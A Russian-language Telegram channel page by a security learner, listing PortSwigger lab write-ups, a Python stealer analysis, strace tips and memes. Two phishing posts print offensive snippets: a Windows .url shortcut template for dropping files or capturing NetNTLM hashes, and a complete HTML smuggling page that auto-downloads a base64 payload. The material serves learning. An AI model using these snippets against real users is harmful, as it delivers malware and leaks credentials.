TGViewer
Channel Public Channel
Coffee cube

Coffee cube

@coffee_cube

Этот канал посвещен моему пути в сфере Информационной безопасности.

Выкладываю статьи по моим исследованиям, райтапы на лабораторные работы и забавные истории. Присоединяйтесь^3

По всем вопросам можете писать мне в ЛС: @ju57_4_cu63
Subscribers
475
Photos
163
Videos
18
Links
145

Showing posts older than #60 · Back to latest

Older Posts 18 shown
Post #59 346
Exploiting path delimiters for web cache deception.pdf464.4 KB
Привет^3

Тема атаки Web cache deception показалась мне интересной, поэтому дальше буду выкладывать разбора лаб на данную тему.

Оффтоп:

Писали ли вам на счет заработка в интернете связанную с отелями? Мне вот написали) Это 100% скам. Теперь думаю, а что с ними можно сделать? Буду рад вашим предложениям

#web #writeup
@coffee_cube
  • 👨‍💻 2
  • ✍ 1
  • 🔥 1
  • 🤝 1
Post #58 447
Привет^3

Сегодня хочу рассказать про интересное расширение для Windows - .url.

Это файл ярлыка, содержащий ссылку на веб-страницу или адрес ресурса в интернете.

С помощью него можно загрузить вредоносный файл на атакуемую машину, а так же есть вариант получить NetNTLMv1/v2 хеши.

Шаблон файла:


[InternetShortcut]
IDList=
URL=<server ip addr>
HotKey=0


Про то, как получить NetNTLM хеши и что с ними делать расскажу позже)

#phishing
@coffee_cube
  • ❤ 5
  • 🦄 2
  • 🔥 1
  • 👨‍💻 1
Post #57 343
Exploiting path mapping for web cache deception.pdf416.2 KB
Привет^3

Данная лаба показывает возможность кэшировать динмаческую страницу, для получения доступа к данным другого пользователя.

Напишите в комментариях: выкладывать разбора лаб на разные темы или последовательно на одну?

#web #writeup
@coffee_cube
  • 🔥 3
  • ✍ 1
  • 👨‍💻 1
Post #56 379
Разбор малваря RedTiger Ste4ler.pdf262.8 KB
Привет^3

Какое-то время назад ко мне в руки попал стиллер, написанный на Python. Я решил его разобрать. К сожалению не успел посмотреть две функции, которые связаны с Discord. Этим я займусь чуть позже. Потенциально получится найти Discord-канал, на который эти данные сливаются, а также поковырять сайт, где эту тулу продают.

#rev #malware
@coffee_cube
  • 🔥 6
  • 👨‍💻 3
  • 👍 2
  • ✍ 1
  • 🦄 1
Post #55 372
SQL injection vulnerability allowing login bypass.pdf125.8 KB
Привет^3

Сегодня выкладывают последнюю райтап на лабу из подборки Server-side vulnerabilities. На днях соберу ссылки на все райтыпы в один список. А в понедельник будет разбор одного малваря на питоне.

#web #writeup
@coffee_cube
  • ✍ 1
  • ❤ 1
  • 🔥 1
  • 👨‍💻 1
Post #54 360
Привет^3

У меня +1 в коллекцию малвараписчиков на Python)

#memes
@coffee_cube
  • 😁 6
  • 💅 4
  • 👨‍💻 3
  • ✍ 1
  • 🗿 1
Post #53 404
Привет^3

Так как сегодня первая лаба на SQL инъекцию, то я не смог не добавить мем.

А сам разбор в комментах)
https://t.me/coffee_cube/53?comment=90

#web #writeup
@coffee_cube
  • 👍 4
  • 😁 4
  • ❤ 2
  • 🔥 1
  • 👨‍💻 1
Post #52 309
OS command injection, simple case.pdf256.4 KB
Привет^3

Первая из лаб на тему инъекция из поборки от Port Swigger Academy. Достаточно простая для понимания. Далее пойдут SQL инъекции.

#web #writeup
@coffee_cube
  • 🔥 2
  • ✍ 1
  • 👨‍💻 1
Post #51 330
Привет^3

Я считают, что отличный вариант названия тех, кто считает себе хакером, после скачивания Kali Linux. Звучит гордо - калисты...

#memes@coffee_cube
  • 😁 6
  • 🐳 2
  • 😈 1
  • 👨‍💻 1
  • 💅 1
  • 😎 1
Post #50 318
Привет^3

Сегодня я расскажу о другой части моей работы - Phishing.

Фишинг - это отправка мошеннических электронных писем с целью повлиять на жертву или заставить ее предоставить информацию , открытый файл или перейти по ссылкам.

Одной из актуальных техник является HTML Smuggling. Используя HTML5 и JavaScript можно доставить вредоносный файл на хост внутри HTML файла. В нем может содержаться большой бинарный объект JavaScript Blobs.

Blob

Неизменяемый объект, который представляет собой необработанные данные.


var myBlob = new Blob([myData], {type: 'octet/stream'});


Это создает Blob типа MIME octet/stream и заполняет данные, содержащиеся в myData.

Затем создается URL адрес из объекта Blob:


var myUrl = window.URL.createObjectURL(blob);
myAnchror.href = myUrl;


Далее, можно имитировать щелчок на якорном объекте с помощью метода HTMLElement.click():


myAnchor.click()


Пример

В данном примере содержимое файла будет закодировано в base64. В других постах приведу другие примеры для данной техники:3


<html>
<head>
<title>HTML smuggling demo</title>
</head>
<body>
<script>
function base64ToArrayBuffer(base64) {
var binary_string = window.atob(base64);
var len = binary_string.length;
var bytes = new Uint8Array( len );
for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); }
return bytes.buffer;
}

var file = <!--payload in base64-->
var data = base64ToArrayBuffer(file);
var blob = new Blob([data], {type: 'octet/stream'});
var fileName = 'payload.txt';

if(window.navigator.msSaveOrOpenBlob) window.navigator.msSaveBlob(blob,fileName);
else {
var a = document.createElement('a');
document.body.appendChild(a);
a.style = 'display: none';
var url = window.URL.createObjectURL(blob);
a.href = url;
a.download = fileName;
a.click();
window.URL.revokeObjectURL(url);
}
</script>
</body>
</html>


#phishing@coffee_cube
  • 👨‍💻 2
  • ✍ 1
  • 🔥 1
  • 🤝 1
Post #48 262
И такое бывает...^3

#memes@coffee_cube
  • 🤣 10
  • 🔥 1
  • 🐳 1
  • 👾 1
Post #47 283
Web shell upload via Content-Type restriction bypass.pdf242.9 KB
Привет^3

Вторая лаба на тему тестирования загрузки файлов от Port Swigger Academy. Далее пойду разборы лаб на темы инъекций.

Как раз для этой лабы я начал применять изображение котейки из прошлого поста:3

#web #writeup
@coffee_cube
  • 👍 2
  • 👨‍💻 1
Post #45 295
cat.jpg48.9 KB Remote code execution via web shell upload.pdf119.3 KB
Привет^3

Сегодня будет разбор лабы с уязвимостью при загрузке изображения. Так совпало, что у моей прекрасной кошки сегодня ДР) Поэтому в качестве бонуса приложу фотку, которую я использовал в некоторых лабах Port Swigger )

#web #writeup@coffee_cube
  • ❤ 8
  • 🔥 4
  • 🎉 3
  • 👨‍💻 1
Post #44 335
Привет^3

Решил постепенно рассказывать о утилитах и инструментах, которые использую в работе. Одна из таких утилит - strace. Она используется для отслеживания системных вызовов, которые использует исполняемый файл. Это информация помогает писать поведенческией правила для малварей, а так же просто при динамическом анализе. Далее приведен список флагов, которые чаще всего пригождаются мне в работе.

Полезные флаги

- -p - присоединиться к работающему процессу;
- -e - указать список отслеживаемых вызовов;


strace -e trace=network,read,write /path/to/app args


- -f - следование fork() ;
- -P - собирать системные вызовы связанные с конкретным файлом или дирикторией;


strace -P /etc/passwd cat /etc/passwd


#tool@coffee_cube
  • 🔥 3
  • 👨‍💻 3
  • ✍ 1
Post #43 305
Basic SSRF against another back-end system.pdf134.7 KB
Привет^3

Сегодня будет разбор более сложная версия лабы с SSRF. Для ее решения пригодится Burp Suite. Следующие разборы будут об уязвимостях, которые возникают при загрузке файлов)

#web #writeup@coffee_cube
  • 🔥 4
  • 👨‍💻 2
  • ✍ 1
Post #42 321
Basic SSRF against the local server.pdf146 KB
Привет^3

Сегодня будет разбор простой лабы с уязвимостью SSRF от Port Swigger Academy. Для ее решения удобно использовать инстремент Burp Suite. Он пригодится для решения дальнейших лаб.

#web #writeup@coffee_cube
  • 👨‍💻 3
  • ✍ 1
  • 🔥 1
Post #41 338
2FA simple bypass.pdf159.2 KB
Привет^3

Новый день - новый разбор лаб от Port Swigger Academy.

#web #writeup@coffee_cube
  • ❤ 5
  • 👨‍💻 2
  • ✍ 1
Post #40 346
Привет^3

Вы тоже ломали WiFi с помощью питона на продленке в школе?

#memes@coffee_cube
  • ❤ 4
  • ✍ 1
  • 👨‍💻 1
Older posts →
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →